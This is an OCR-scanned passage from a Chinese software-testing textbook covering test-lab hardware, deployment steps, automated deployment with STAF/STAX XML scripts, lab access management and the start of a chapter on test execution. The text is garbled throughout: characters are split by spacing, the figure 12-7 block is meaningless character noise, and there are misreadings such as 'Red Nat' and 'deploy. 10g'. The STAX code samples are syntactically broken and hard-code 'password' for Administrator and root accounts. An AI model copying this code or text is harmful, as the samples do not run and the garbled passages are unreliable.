(2) 硬件 : 所 需要 的 设备 数量 ,以 及 每 台 设 备 的 配置 要 求 。 

@ 计算 机 、 服 务 器 : 详细 到 CPU、 内存、 硬盘、 显示 器 .显示 卡 、 声 卡 等 具体 配置 。 

@ 输入 、 输 出 设备 : 监视 器 .打印 机 、 扫 描 仪 等 ,详细 到 具体 型 号 或 性 能 指标 。 

@ 数据 备份 .存储 设备 : 外 接 硬 盘 、 光 碟 刻 录 机 等 。 

(3) 网 络 设备 ; 应 避免 在 公司 的 公共 网 络 上 进行 测试 ,需要 建立 独立 的 测试 网 络 
环境 。 

GD 路由器、 防火 墙 设备 ,包括 是 否 需要 电话 网 关 、 多 媒体 网 关 等 。 

@ 交换 机 ,包括 主 交 换 机 、 边 缘 交 换 机 等 。 

@ 无 线 接 入 设备 。 

@ ADSL 接 入 设备 ,SSL 连接 设备 。 

@ 网 卡 、 网 线 等 其 他 附属 网 络 设备 。 

(4) 电源 及 特殊 的 工具 : 电压 保护 嚣 \ 不 间断 电源 .示波器 、 工 具 箱 等 。 

(5) 其 他 : 办 公用 品 、 耗 材 和 易 损 备 件 , 包 括 打印 纸 . 白 板 笔 、 胶 带 、 墨 盒 等 。 


3. 环境 实施 

在 进行 测试 环境 配置 时 ,选用 合适 的 测试 平台 ,保证 能 支撑 软件 正常 运行 ,以 满足 测试 的 
需要 就 可 以 。 测 试 机 上 只 安装 软件 运行 和 测试 必需 的 软件 ,以免 不 相关 的 软件 影响 测试 实施 。 
现在 病毒 猩 镍 ,应 利用 有 效 的 正版 杀毒 软件 检测 软件 环境 ,保证 测试 环境 中 没有 病毒 。 有 些 情 
况 下 ,测试 实验 室 配置 清单 中 所 需 设备 的 数量 是 非常 巨大 的 。 例 如 ,视频 游戏 程序 的 测试 ,的 
确 需要 相当 多 的 设备 支持 。 各 种 类 型 的 声卡 、 视 频 卡 、 控 制 手柄 等 全 部 罗列 在 配置 清单 中 ,又 
似乎 不 太 合适 ,可 能 会 大 大 超出 预算 。 但 如 果 遗 漏 某 些 型 号 ,又 往往 造成 风险 ,可 能 会 忽视 一 
些 实际 用 户 可 能 碰 到 的 错误 。 所 以 ,有 必要 对 测试 配置 清单 进行 评估 ,保留 主要 的 和 必须 购买 
的 配置 ,有 些 配 置 可 以 通过 其 他 途径 获得 ,如 从 合作 单位 或 部 门 借用 ,从 生产 厂家 或 经 销 商 处 
借 来 试用 等 。 

经 过 评估 后 ,可 以 提交 申请 ,获得 批准 后 开始 采购 。 采 购 时 首先 按 安装 的 先后 顺序 分 批 购 
买 , 当 一 大 堆 设备 同时 运 到 ,而 又 不 能 及 时 安装 时 ,就 要 另外 出 一 笔 费用 找 临时 仓库 。 其 次 , 按 
测试 进度 的 需要 分 批 购买 ,保证 主要 测试 设备 的 经 费 ,避免 因 配 置 变化 或 市 场 变化 造成 资金 问 


题 。 最 后 考虑 批量 订货 ,使 一 些小 的 配置 能 以 赠品 的 方式 配置 。 

通常 做 法 是 尽 可 能 由 测试 人 员 自 己 完成 集成 和 配置 测试 设备 ,只 有 测试 人 员 最 清楚 具体 
的 配置 方法 和 要 求 。 测 试 人 员 无 法 独立 完成 的 ,可 以 由 其 他 专业 人 员 协 助 完 成 。 一 般 测 试 环 
境 部 署 的 实施 过 程 可 以 简单 归纳 为 下 列 6 个 步骤 。 

(1) 服务 器 \ 存 储 器 的 准备 。 包 括 服务 器 的 加 电 测 试 、 存 储 设备 的 连接 和 划分 ,通常 通过 
存储 管理 工具 实现 存储 划分 和 配置 。 

(2) 启动 。 通 过 系统 管理 工具 引导 操作 系统 ,或 者 先 安装 虚拟 机 系统 VMWare ESX Server。 

(3) 安装 操作 系统 。 在 测试 环境 中 ,一 般 会 直接 安装 系统 的 镜像 文件 ,而 镜像 文件 是 由 系 
统 运行 管理 部 门 制作 ,因为 这 个 部 门 直接 负责 产品 实际 运行 的 环境 。 

(4) 网 络 配置 。 根 据 测 试 需求 ,一 方面 将 服务 器 配置 到 相应 的 网 络 环境 中 , 另 一 方面 ,还 
要 完成 负载 均衡 器 防火 墙 或 代理 服务 器 等 的 配置 。 

(5) 安装 应 用 系统 ,包括 Web 服务 器 ,中间 件 ,数据库 和 应 用 软件 系统 等 。 

(6) 配置 并 启动 应 用 软件 ,并 进行 不 断 的 调试 ,使 应 用 软件 运行 环境 符合 设计 要 求 。 


12.5 自动 部 署 测试 环境 


在 项 目 进 行 过 程 中 ,虽然 支撑 应 用 系统 的 软件 平台 不 需要 替换 ,但 应 用 软件 包 需 要 经 常 更 
新 ,多 数 情况 下 是 每 天 更 新 一 次 。 如 果 是 手工 更 新 ,不 仅 更 新 过 程 比 较 慢 ,容易 出 错 。 而 且 当 
部 署 新 版 本 时 ,测试 人 员 不 得 不 等 待 而 不 能 进行 测试 工作 ,这 会 严重 影响 测试 的 效率 。 所 以 ， 
应 该 考虑 进行 自动 化 部 署 ,而 且 可 以 在 晚上 进行 ,在 员工 上 班 之 前 完成 。 这 样 ,测试 人 员 一 上 
班 ,就 能 执行 测试 任务 ,提高 测试 效率 。 

自动 化 部 署 ,也 是 通过 脚本 实现 ,不 同 的 支撑 平台 ,采用 的 方式 有 一 定 的 区 别 。 但 在 开发 
自动 部 署 脚本 的 时 候 ,需要 建立 标准 化 的 各 种 环境 部 署 顺序 。 即 使 环境 会 有 所 变化 ,可 设法 通 
过 一 些 环境 参数 ,或 在 脚本 中 增加 一 些 判 断 条 件 来 实现 。 最 理想 的 部 署 方式 是 做 到 一 键 式 自 
动 部 署 ,也 就 可 以 通过 后 台 定 时 事件 触发 等 方式 启动 自动 化 部 署 脚 本 的 执行 。 自 动 化 部 署 还 
需要 考虑 当前 版 本 (Build Version) 部 署 失败 时 ,能 够 恢复 到 上 一 个 版 本 的 状态 。 因 为 我 们 希 
望 部 署 是 完全 自动 化 执行 ,所 以 部 署 过 程 一 定 要 稳定 ,自动 化 部 署 的 脚本 具有 很 好 的 容错 性 ， 
充分 考虑 到 各 种 意外 情况 ,回避 各 种 问题 的 出 现 , 保 证 自动 部 署 的 成 功 。 

IBM 定义 了 自动 化 部 署 框架 ,如 图 12-5 所 示 ,整个 部 署 过 程 基于 工作 流 来 实现 ,通过 调 . 
自动 化 的 脚本 来 完成 具体 的 操作 。 工 作 流 引擎 和 数据 模型 是 这 个 框架 的 核心 。 

(1) 通过 将 具体 的 软 硬 件 甚至 逻辑 概念 定义 在 数据 模型 中 ,管理 工具 可 以 标识 并 在 工作 
流 中 调度 这 些 组 件 资产 ,实现 各 类 管理 功能 。 

(2) 工作 流 引擎 是 调用 和 触发 工作 流 , 自 动 将 不 同 种 类 的 脚本 流程 整合 至 一 个 集中 、 强 
健 、 可 重复 使 用 的 工作 流 数 据 库 中 。 

IBM Tivoli Provisioning Manager 则 是 基于 上 述 框架 ,提供 了 完整 的 解决 方案 ,可 自动 完 
成 原来 需要 手工 完成 的 服务 器 ,操作 系统 .中 间 件 .应 用 程序 .存储 器 和 网 络 设备 的 安装 和 配置 
任务 = 

对 操作 系统 的 自动 化 安装 ,需要 一 种 简便 有 效 的 方式 ,减少 停机 时 间 ,支持 多 台 服 务 器 并 
发 操作 。 实 际 上 ,不 同 的 操作 系统 都 有 相应 的 网 络 远程 安装 的 管理 工具 ,例如 : 

(1) Linux: Red Nat 开创 了 kickstart 技术 实现 操作 系统 部 署 功 能 。 
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12-5 测试 环境 自动 化 部 署 框架 示意 图 


(2) Solaris OS: 基于 网 络 的 安装 机 制 一 一 Sun JumpStart 技术 。 

(3) IBM AIX: NIM 网 络 安装 管理 工具 。 

(4) HP UX: Ignite-UX 管理 工具 。 

而 对 应 用 系统 ,都 需要 自己 来 开发 相应 的 部 署 脚本 ,例如 基于 Linux 系统 的 ,可 以 采用 
Shell 脚本 直接 来 实现 。 如 果 为 了 支持 分 布 式 、 跨 平台 的 环境 部 署 ,需要 借助 一 些 自动 化 测试 
框架 来 实现 。 例 如 ,通过 STAF 和 STAX 提供 的 服务 调用 和 工作 流 等 机 制 ,并 和 CVS、 
CruiseControl、Ant 等 集成 起 来 ,形成 一 个 完整 的 自动 化 部 署 解 决 方案 。 

(1) STAF(Software Test Automation Framework) 围 绕组 件 重用 的 理念 ,通过 服务 调用 
(如 远程 处 理 ,资源 管理 ,文件 系统 ,监控 日志、 压缩 .Ping、 变 量 等 ) 来 完成 自动 化 架构 的 构造 。 
STAF 作为 自动 化 测试 框架 ,提供 一 种 可 插 拔 的 机 制 , 支 持 多 平台 与 多 语言 的 分 布 式 结构 。 

(2) STAX(STAfeXecution engine) 是 基于 STAF 的 执行 引擎 , 它 采 用 XML 格式 描述 。 
在 XML 文件 中 可 定义 测试 工作 流 , 可 以 实现 并 行 执行 . 嵌 套 测试 用 例 、 控 制 运 行 时 间 等 ， 
STAX 支持 Java 和 Python 模块 。 

例如 ,从 CVS 检 出 代码 ,通过 控制 器 送 到 编译 机 器 上 构造 软件 包 , 同 时 可 以 从 FTP 服务 
器 获得 自动 部 署 配置 的 脚本 分 发 到 测试 机 上 ,然后 获得 已 编译 好 的 软件 包 , 完 成 部 署 并 进行 基 
本 的 验证 ,如 图 12-6 所 示 。 
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图 12-6 STAF 和 STAX 构成 的 自动 部 署 体系 


STAX 脚本 示例 
【示例 一 】 FTP 命令 提供 参数 -s 来 指定 一 个 FTP 脚本 文件 (这 里 以 ftpSample. conf 
为 例 ), 它 描述 待 执行 的 FTP 命令 。 然 后 ,通过 STAX 调用 FTP 命令 实现 从 FTP 服务 器 
自动 下 载 所 需要 的 文件 ,如 部 署 脚本 文件 (如 deploy. bat 或 runtest. sh)。 


<process> 
< location>'local'</location> 
< command >'ftp'</command > 
< parms >'- s; ftpSample. conf'</parms> 
< workdir >'C; /STAF'</workdir > 
</process> 


【示例 二 】 将 更 新 包 分 发 到 部 署 服务 器 (deployServer) 和 测试 服务 器 (testServer) 上 。 


< script > serverList = [ 'deployServer', 'testServer'] </script> 
< iterate var = "server" in = "serverList"> 
< testcase name = "'buildCopy'"> 
< if expr = "server != 'deployServer'"> 
< stafcmd > 
< location >'buildserver'</location> 
< service>'fs'</service> 
< request >'copy DIRECTORY /root/build/result TODIRECTORY /root/build/result 
TOMACHINE %s RECURSE KEEPEMPTYDIRECTORIES' $% server </request > 
</stafcmd> 
<else> 
< stafcmd > 
< location >'buildserver'</location> 
< service>'fs'</service> 
< request >'copy DIRECTORY /root/build/result TODIRECTORY C; /build/result 
TOMACHINE % s RECURSE KEEPEMPTYDIRECTORIES' % server </request> 
</stafcmd> 
</else> 
</if> 
</testcase> 
</iterate> 


【示例 三 】 分 别 在 Windows 和 Linux 系统 上 完成 应 用 系统 的 部 署 。Windows 中 使 
用 重 定向 输出 日 志 , 即 过 deploy. log, 而 在 Linux 中 使 用 stdout 来 重 定向 输出 日 志 。 


< sequence> 
< stafcmd > 
< location >'deployServer'</location> 
< service>'process'</service> 
< request >'start command "C; /build/deploy. bat > deploy. 10g" username "Administrator" 
password "password" workdir "C; /build" wait '</request> 
</stafcmd> 
< stafcmd> 
< location >'testServer'</location> 
< service>'process'</service> 
< request >'start command "/root/build/runtest. sh" username "root" password "password" 
workdir "/root/build" wait stdout /root/build/runtest. log'</request > 
</stafcmd> 
</sequence> 


12.6 测试 环境 的 维护 和 管理 


测试 环境 的 维护 和 管理 ,不 仅 包括 硬件 设备 的 保养 维修 和 软件 版 本 的 及 时 升级 ,更 重要 的 
是 维护 测试 环境 的 正确 性 ,定期 检查 软件 和 网 络 的 配置 ,做 好 记录 和 跟踪 ,确保 测试 环境 始终 
符合 测试 的 实际 要 求 。 为 了 做 好 测试 环境 的 维护 和 管理 ,首先 要 建立 测试 环境 的 管理 流程 和 
规章 制度 ,严格 的 管理 流程 能 够 保证 和 改善 测试 环境 的 正确 性 、 稳 定性 。 图 12-7 描述 了 一 个 
通用 的 实验 室 设备 管理 流程 ,包括 权限 设置 ,建立 设备 采购 /变更 控制 等 方面 的 流程 。 例 如 某 
家 测试 公司 , 它 的 大 多 数 客户 都 有 自己 的 独立 实验 室 ,他们 要 求 所 有 人 都 必须 用 智能 卡 才能 进 
入 实验 室 。 每 个 测试 人 员 都 需要 配 有 一 张 智 能 卡 ,并 通过 智能 卡 系统 记录 持 卡 人 进入 测试 实 
验 室 的 情况 。 只 有 那些 真正 为 客户 项 目 工作 的 员工 才能 持 有 智能 卡 , 进 入 客户 实验 室 。 


六 a 
一 号 设 区 把 
资产 ID 
制造 二 
太 联 资产 四 
了 人 
可 用 性 一 | 
和 人 用 
软件 E> 配置 
活 侣 二 物 AA 
3 
总 六 NS 
和 


图 12-7 实验 室 设备 管理 流程 示意 图 


为 了 更 好 地 做 好 测试 环境 的 维护 和 管理 ,通常 还 会 设置 专门 的 实验 室 管理 员 , 明 确 其 责 
任 , 并 建立 好 相应 的 文档 及 其 模板 ,为 关键 的 硬件 设备 和 软件 环境 建立 备份 。 

1. 测试 环境 管理 员 的 职责 

(1) 建立 和 完善 测试 环境 管理 的 相关 制度 和 流程 。 

(2) 基础 测试 环境 的 搭建 ,包括 操作 系统 ,数据 库 、 中 间 件 、Web 服务 器 等 的 安装 和 配置 ， 
以 及 相关 文档 的 编写 、 存 档 。 

(3) 相关 资源 (如 路 由 器 数据库、Web 服务 器 等 ) 访 问 权限 (包括 用 户 名 口令 等 ) 的 设 定 、 
定期 更 新 和 审查 。 

(4) 记录 组 成 测试 环境 的 各 类 设备 名 称 配置.IP 地 址 .端口 配置 ,用途 以 及 当前 状态 ( 占 
用 ,空闲 、 报 废 等 ) 。 


(5) 测试 环境 各 项 变更 的 执行 及 记录 。 

(6) 测试 环境 的 备份 及 恢复 。 

(7) 协助 项 目 组 完成 被 测 应 用 系统 的 部 署 。 

(8) 协助 IT 部 门 完成 测试 环境 的 各 类 设备 采购 、 和 信 库 等 。 

(9) 协助 测试 经 理 做 好 资源 的 分 配 、 调 度 等 工作 。 

2. 测试 环境 管理 所 需 的 文档 

(1) 软 硬 件 资产 清单 ,包括 厂家 、 品 牌 、 型 号 、 购 买 日 期 入 库 日 期 \ 所 有 者 、 数 量 、 关 键 特 性 
指标 、 变 更 记录 等 。 

(2) 关键 设备 (如 路 由 器 防火墙、 负载 平衡 设备 等 ) 和 系统 (操作 系统 ,数据库 管理 系统 、 
中 间 件 等 ) 的 安装 配置 手册 。 

(3) 环境 资源 访问 权限 列表 ,及 其 变更 记录 等 。 

(4) 测试 环境 的 备份 和 恢复 过 程 文 档 , 包 括 历史 发 生 的 记录 (如 备份 时 间 、 备 份 人 、 原 因 、 
备份 文件 名 备份 文件 来 源 和 获取 方式 等 ) 。 

3. 测试 环境 访问 权限 的 管理 

(1) 权限 由 测试 环境 管理 员 统一 管理 。 为 了 安全 起 见 ,应 在 测试 经 理 或 相应 的 管理 人 员 
那里 有 一 个 备份 。 

(2) 为 访问 测试 环境 的 每 个 人 设置 单独 的 用 户 名 和 口令 ,口令 可 以 强制 每 一 个 月 或 一 个 
季度 改变 一 次 。 

(3) 将 测试 环境 访问 人 员 分 类 ,不 同类 别 的 人 有 不 同 的 访问 权限 。 例 如 ,开发 人 员 只 有 
“ 读 ” 的 权限 ,没有 “修改 ”“ 删 除 ”等 权限 。 

(4) 除 测试 环境 管理 员外 ,其 他 测试 组 成 员 不 授予 删除 权限 ,更 不 要 将 root 或 
Administrator 的 权限 赋予 一 般 的 测试 人 员 。 

(5) 用 户 及 权限 的 各 项 维护 ,变更 ,需要 记录 到 相应 的 “用 户 权限 管理 文档 中 。 

4. 测试 环境 的 变更 管理 

对 测试 环境 的 变更 应 当 形 成 一 个 标准 的 流程 ,并 保证 每 次 变更 都 是 可 追溯 的 和 可 控 的 。 

(1) 测试 环境 的 变更 一 般 由 测试 组 长 提出 书面 申请 (如 电子 邮件 ), 由 测试 环境 管理 员 负 
责 执 行 , 或 授予 测试 组 长 临时 权限 ,自行 处 理 。 

(2) 在 测试 环境 变更 之 前 ,应 该 确定 一 个 明确 的 方法 ,能 够 返回 到 变更 之 前 的 状态 。 

(3) 测试 环境 的 任何 变更 均 应 记 和 相应 的 文档 中 ,包括 变更 申请 邮件 、 脚 本 等 原始 文档 ， 
作为 配置 项 进行 管理 。 

5. 测试 环境 的 备份 和 恢复 

对 于 测试 人 员 来 说 ,测试 环境 必须 是 可 恢复 的 ,否则 将 导致 原 有 的 测试 用 例 无 法 执行 ,或 
者 无 法 重 现 发 现 的 缺陷 。 因 此 ,应 当 在 测试 环境 (特别 是 数据 库 环 境 ) 发 生 重大 变动 时 进行 完 
整 的 备份 ,例如 ,使 用 Ghost 对 硬盘 或 某 个 分 区 进行 镜像 备份 ,以 便 在 需要 时 将 系统 重新 恢复 
到 安全 可 用 的 状态 。 

另外 ,每 次 发 布 新 的 被 测 应 用 版 本 时 ,应 当做 好 当前 版 本 的 数据 库 备 份 ,为 将 来 做 版 本 兼 
容 性 测试 (版 本 升级 测试 ) 时 做 好 准备 。 例 如 ,对 于 一 些 提供 软件 服务 的 应 用 系统 , 当 其 版 本 升 
级 到 一 个 新 版 本 时 ,要 验证 在 原来 版 本 中 产生 的 数据 在 新 版 本 时 依然 有 效 ,而 新 版 本 的 数据 库 
结构 已 发 生 了 一 些 变化 ,这 些 数据 不 能 在 新 版 本 中 产生 ,否则 数据 是 不 真实 的 。 在 进行 兼容 性 


测试 时 ,最 好 用 已 备份 的 数据 库 来 恢复 到 原来 的 数据 库 后 ,再 进行 版 本 升级 ,然后 进行 测试 。 
这 种 兼容 性 测试 可 能 会 进行 多 次 ,而 且 可 能 会 在 下 一 个 版 本 兼容 性 测试 中 还 要 用 到 。 这 时 , 数 
据 库 的 备份 不 仅 保证 了 数据 的 真实 性 完整 性 ,还 大 大 减少 了 重新 准备 数据 的 时 间 ,提高 了 测 
试 的 效率 。 


小 结 


本 章 从 测试 环境 对 测试 的 影响 方面 论述 了 测试 环境 的 重要 性 ,介绍 了 测试 环境 的 各 项 要 
素 , 包 括 硬件 、 网 络 环境 、 软 件 ,数据 准备 等 ,特别 介绍 了 虚拟 机 的 应 用 及 其 相关 工具 。 在 此 基 
础 上 ,介绍 了 如 何 建立 规范 的 测试 实验 室 。 

本 章 还 针对 测试 项 目的 实际 需求 ,介绍 了 如 何 建立 项 目的 测试 环境 ,详细 描述 了 测试 环境 
搭建 的 过 程 。 而 更 值得 关注 的 内 容 是 如 何 实施 测试 环境 的 自动 部 署 ,以 及 如 何 做 好 测试 环境 
的 维护 和 管理 。 


思考 题 


1. 什么 是 测试 环境 ? 为 什么 测试 环境 是 测试 的 基础 ? 
2. 测试 环境 中 有 哪些 基本 要 素 ? 在 建立 测试 实验 室 时 应 注意 哪些 方面 ? 
3. 通过 STAX 脚本 ,如 何 实现 从 CVS 上 检 出 相关 的 源 文件 ,并 将 源码 复制 到 编译 服务 


4. 在 测试 环境 和 维护 中 ,什么 内 容 或 措施 是 至 关 重 要 的 ? 
5. 试 写 一 份 实验 室 管理 制度 。 


第 13 章 


测试 执行 、 缺 陷 报告 与 跟踪 


当 测试 用 例 的 设计 和 测试 脚本 的 开发 完成 之 后 ,就 开始 严格 按照 测 
试用 例 执 行 手工 测试 ,或 者 运行 测试 脚本 进行 自动 化 测试 ,完成 相应 的 
测试 任务 。 自 动 化 测试 的 管理 相对 比较 容易 ,测试 工具 会 不 打折 扣 地 、 
百分之百 地 执行 所 有 的 测试 脚本 ,并 能 准确 无 误 地 自动 记录 下 测试 结 
果 。 而 对 手工 测试 的 管理 相对 要 复杂 得 多 ,在 整个 测试 执行 阶段 中 , 管 
理 上 会 碰 到 一 系列 问题 ,主要 有 : 

(1) 如 何 确保 测试 环境 设置 正确 并 满足 测试 用 例 所 描述 的 要 求 ? 

(2) 如 何 保证 每 个 测试 人 员 清 楚 自 己 的 测试 任务 ? 

(3) 如 何 保证 所 有 测试 用 例 得 到 百分之百 的 执行 ? 

(4) 如 何 保证 所 报告 的 Bug 正确 描述 清楚 \ 没 有 漏 掉 信息 ? 

(5) 如 何在 验证 Bug 和 对 新 功能 的 测试 上 寻找 平衡 ? 

(6) 如 何 跟踪 Bug 处 理 的 进度 使 严重 的 Bug 及 时 得 到 解决 ? 

了 解 软件 缺陷 是 什么 ,在 需求 和 设计 评审 过 程 中 会 发 现 问题 ,并 通 
过 设计 和 执行 测试 用 例 , 能 更 快 地 发 现 缺 陷 。 发 现 了 缺陷 ,还 需 描述 缺 
陷 产 生 的 过 程 或 现象 ,报告 给 开发 人 员 ,这 就 是 软件 缺陷 的 报告 。 

如 何 报告 所 发 现 的 软件 缺陷 ? 就 是 要 准确 清楚 地 描述 内 容 , 这 其 
中 要 借助 一 些 工 具 ( 如 WinDBG ,Soft_ICE) 来 创建 记录 软件 缺陷 的 日 志 
文件 。 为 了 更 有 效 地 报告 和 处 理 缺 陷 , 还 要 全 面 理解 缺陷 的 各 种 属性 以 
及 缺陷 的 生命 周期 ,并 掌握 分 离 和 再 现 软件 缺陷 的 技巧 ,而 对 于 一 个 软 
件 企业 , 则 要 建立 基于 数据 库 的 软件 缺陷 跟踪 系统 。 


13.1 软件 测试 执行 与 跟踪 


在 项 目的 管理 过 程 中 ,经 常 碰 到 的 问题 是 : 等 待 做 的 任务 比较 多 ， 
但 人 力 资源 和 时 间 受 到 限制 ,要 完成 所 有 的 任务 几乎 是 不 可 能 的 。 这 时 
候 要 解决 的 就 是 为 各 项 任务 建立 优先 级 ,这 样 就 可 以 根据 优先 级 高 低 ， 
先后 处 理 各 项 任务 ,降低 测试 的 风险 ,以 最 小 的 代价 获得 尽 可 能 高 的 质 
量 。 但 在 过 程 中 ,始终 能 够 把 质量 放 在 第 一 位 ,能 够 制定 好 测试 策略 、 有 
计划 地 安排 工作 、 系 统 的 解决 方案 等 。 当 遇 到 问题 时 ,能 准确 地 判断 是 
技术 问题 还 是 流程 问题 ,重视 解决 流程 问题 ,将 项 目 中 已 有 的 成 功 经 验 


能 灵活 地 应 用 到 新 的 项 目 中 ,做 好 测试 项 目的 风险 管理 和 质量 管理 。 
13.1.1 测试 执行 过 程 的 要 点 


通过 客观 的 评价 标准 ,减少 人 为 错误 ,更 准确 地 控制 测试 进程 。 要 做 到 这 一 点 ,尽量 及 时 、 
准确 、 客 观 地 将 所 有 活动 产生 的 有 用 的 数据 记录 下 来 ,包括 会 议 纪要 ,审核 记录 ,缺陷 报告 等 。 
强调 以 数据 说 话 , 跟 踪 项 目 状态 ,监督 各 项 措施 落实 ,这 样 使 整个 项 目 过 程 具 有 良好 的 可 测 性 、 可 
跟踪 性 。 同 时 ,要 善于 利用 各 种 工具 和 系统 ,使 这 项 工作 记录 的 数据 更 直观 数据 化 ,便于 评估 。 

1. 不 同 测试 阶段 的 执行 要 点 

要 对 每 个 测试 阶段 (代码 审查 .单元 测试 .集成 测试 功能 测试 ,系统 测试 和 验收 测试 ,安装 
测试 等 ) 的 结果 进行 分 析 , 保 证 每 个 阶段 的 测试 任务 得 到 执行 ,达到 阶段 性 的 目标 。 

(1) 代码 审查 ,确保 测试 人 员 参 与 代码 的 会 审 , 事 先 有 所 准备 ,充分 阅读 待 审 的 程序 设计 
流程 图 和 程序 代码 等 ,在 评审 会 议 上 ,勇于 质疑 ,积极 提问 ,努力 发 现 程序 代码 中 的 错误 。 

(2) 单元 测试 一 般 由 程序 员 自 己 做 ,但 必须 提交 单元 测试 用 例 和 测试 报告 ,测试 人 员 需 要 
审查 单元 测试 用 例 和 测试 报告 。 

(3) 集成 测试 应 尽早 进行 持续 进行 ,将 自 顶 向 下 、 自 底 向 上 两 种 测试 策略 结合 起 来 ,彻底 
完成 模块 之 间 各 个 接口 的 测试 。 

(4) 功能 测试 的 目的 是 检验 系统 是 否 能 够 按 预定 要 求 的 功能 那样 正常 工作 ,可 以 让 不 同 
的 测试 人 员 进 行 交叉 测试 ,提高 测试 质量 ; 而 且 向 测试 人 员 经 常 强调 : 从 用 户 的 角度 出 发 , 尽 
量 挖掘 和 模拟 各 种 使 用 情景 ,找到 一 些 特殊 场合 或 边界 条 件 的 缺陷 。 

(5) 系统 非 功 能 性 测试 执行 时 ,主要 是 对 测试 方案 ,测试 工具 选择 提供 更 多 的 指导 和 讨 
论 ,保证 技术 方案 可 行 ,测试 工具 有 效 ,并 对 测试 环境 进行 严格 核查 ,确保 测试 环境 和 将 来 实际 
运行 环境 一 致 ,确保 测试 结果 是 可 靠 的 。 

(6) 软件 是 否 真正 满足 最 终 用 户 的 要 求 ,应 由 用 户 进 行 一 系列 验收 测试 或 Beta 测试 ,在 
实际 应 用 环境 中 得 到 进一步 的 检验 ,获得 用 户 的 真实 反馈 ,更 好 地 改进 产品 。 用 户 的 反馈 非常 
有 价值 ,所 以 要 高 度 重视 验收 测试 或 Beta 测试 。 

2. 测试 用 例 执 行 

测试 用 例 执 行 直接 关系 到 测试 的 效率 和 产品 的 质量 ,要 做 好 相应 的 执行 工作 。 首 先 要 努 
力 提高 测试 人 员 的 素质 和 责任 心 , 树 立 良 好 的 质量 文化 意识 ,以 预防 为 主 。 其 次 ,要 通过 一 定 
的 跟踪 手段 来 保证 测试 执行 的 质量 。 例 如 ,测试 效率 的 跟踪 比较 容易 ,按照 测试 任务 和 测试 周 
期 ,可 以 得 到 期 望 的 曲线 ,然后 每 天 检查 测试 结果 ,了 解 是 否 按 预期 进度 进行 ,如 图 13-1 所 示 
为 测试 执行 情况 的 跟踪 曲线 。 

测试 结果 的 跟踪 相对 困难 些 , 需 要 控制 好 风险 。 可 以 通过 系统 记录 每 个 人 所 执行 的 测试 
用 例 ,一 旦 某 个 Bug 被 漏 掉 ,可 以 追溯 到 具体 责任 人 。 事 后 发 现 问题 ,已 经 太 迟 了 ,这 时 可 以 
考虑 针对 风险 较 大 的 任务 ,在 第 二 轮 测试 时 ,交换 测试 人 员 以 加 强风 险 的 控制 。 另 外 ,每 个 项 
目 都 让 项 目 之 外 的 几 个 经 验 丰富 的 测试 人 员 进 行 两 三 天 的 探索 式 测试 ,发 现 一 些 隐藏 比较 深 
的 缺陷 ,也 可 对 前 面 的 测试 产生 比较 大 的 压力 ,使 每 个 测试 人 员 都 不 敢 松 懈 。 

3. 团队 建设 与 沟通 

优秀 的 项 目 管理 者 知道 自己 首要 的 任务 是 领导 好 团队 ,服务 好 整个 团队 ,这 些 服务 包括 技 
术 训 练 和 指导 、 解 决 问题 和 冲突 、 提 供 资 源 、 建 立项 目 目标 和 优先 级 等 。 测 试 的 任务 是 要 靠 大 
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13-1 测试 执行 情况 的 跟踪 曲线 


家 完成 的 ,团队 的 绩效 才 是 重要 的 ,只 有 依靠 团队 的 力量 ,才能 确保 项 目的 成 功 。 所 以 有 良好 
的 意识 去 关心 组 员 ,关注 项 目 组 员 的 情绪 ,以 鼓励 为 主 ,不 断 激励 员工 ,鼓舞 十 气 ,发 挥 每 一 位 
员工 的 潜力 ,注重 团队 的 工作 效率 。 同 时 ,要 注意 合理 分 配 任务 ,明确 规定 每 一 个 人 在 测试 工 
作 中 的 具体 任务 ,职责 和 权限 ,每 个 组 员 都 明确 自己 该 做 什么 ,怎么 做 、 负 什么 责任 、 做 好 的 标 
准 是 什么 。 做 到 人 人 心中 有 数 , 为 保证 和 提高 产品 质量 (或 服务 质量 ) 提 供 基本 的 保证 。 

项 目 管理 者 具有 良好 的 沟通 能 力 , 和 其 他 部 门 不 仅 能 进行 有 效 沟通 ,而 且 可 以 施加 自己 的 
影响 (说 服 别人 ) ,以 促进 项 目的 整体 合作 、 相 互 理解 和 流程 改进 。 为 了 使 测试 进展 顺利 ,与 项 
目 组 外 部 人 员 的 良好 沟通 是 必要 的 ,促进 问题 解决 ,提高 缺陷 处 理 的 效率 ,还 有 一 些 值得 推荐 
的 方法 ,例如 ， 

(1) 通过 一 种 合适 的 、 可 接受 的 方式 指出 对 方 的 问题 ,尽量 做 到 对 事 不 对 人 。 

(2) 每 周一 次 各 部 门 的 联席 会 议 , 协 调 工作 ,解决 难题 ,并 向 相关 人 员 发 送 会 议 纪要 。 

(3) 建立 大 项 目的 邮件 组 ,包含 各 部 门 主要 人 员 的 邮件 地 址 ,有 利于 发 布 消息 和 信息 沟通 等。 

(4) 讨论 问题 时 ,不 宜 采用 邮件 方式 ,应 通过 电话 .面对面 等 方式 沟通 。 

(5) 可 以 利用 Wiki 和 其 他 系统 来 共享 知识 .分享 经 验 ,发布 通知 等 。 

(6) 在 同一 个 大 项 目 组 的 开发 ,测试 人 员 的 日 报 .周报 等 应 互相 抄 送 。 

(7) 适当 举办 一 些 团队 的 活动 ,增加 项 目 组 成 员 相互 了 解 ,增强 团队 精神 。 

4. 测试 执行 结束 

在 测试 执行 结束 前 ,要 对 测试 项 目 进行 全 过 程 .全 方位 的 审视 ,检查 测试 计划 ,测试 用 例 是 
否 得 到 执行 ,检查 测试 是 否 有 漏洞 。 如 果 存 在 测试 漏洞 ,及 时 补救 。 而 且 , 对 当前 状态 的 审查 ， 
包括 产品 Bug 和 过 程 中 没 解决 的 各 类 问题 。 对 产品 目前 存在 的 缺陷 进行 逐个 的 分 析 , 了 解 对 
产品 质量 影响 的 程度 ,从 而 决定 产品 的 测试 能 否 告 一 段落 。 如 果 所 有 测试 内 容 完成 ,测试 的 覆 
盖 率 达到 要 求 以 及 产品 质量 达到 已 定义 的 标准 ,可 以 宣告 测试 执行 结束 。 

测试 执行 任务 完成 ,并 不 意味 着 测试 项 目的 结束 ,还 需要 对 测试 结果 分 析 、 对 产品 质量 进 
行 评估 ,编制 测试 报告 或 质量 报告 ,而 且 测试 报告 应 获得 上 级 经 理 的 批准 。 此 后 ,项 目 组 成 员 
一 起 对 项 目 进行 总 结 ( 即 Postmortem) ,分 析 项 目的 成 功 经 验 ,并 通过 对 项 目 中 的 问题 分 析 , 找 


出 根本 原因 ,纠正 流程 .技术 或 管理 中 所 存在 的 问题 ,改进 测试 过 程 。 
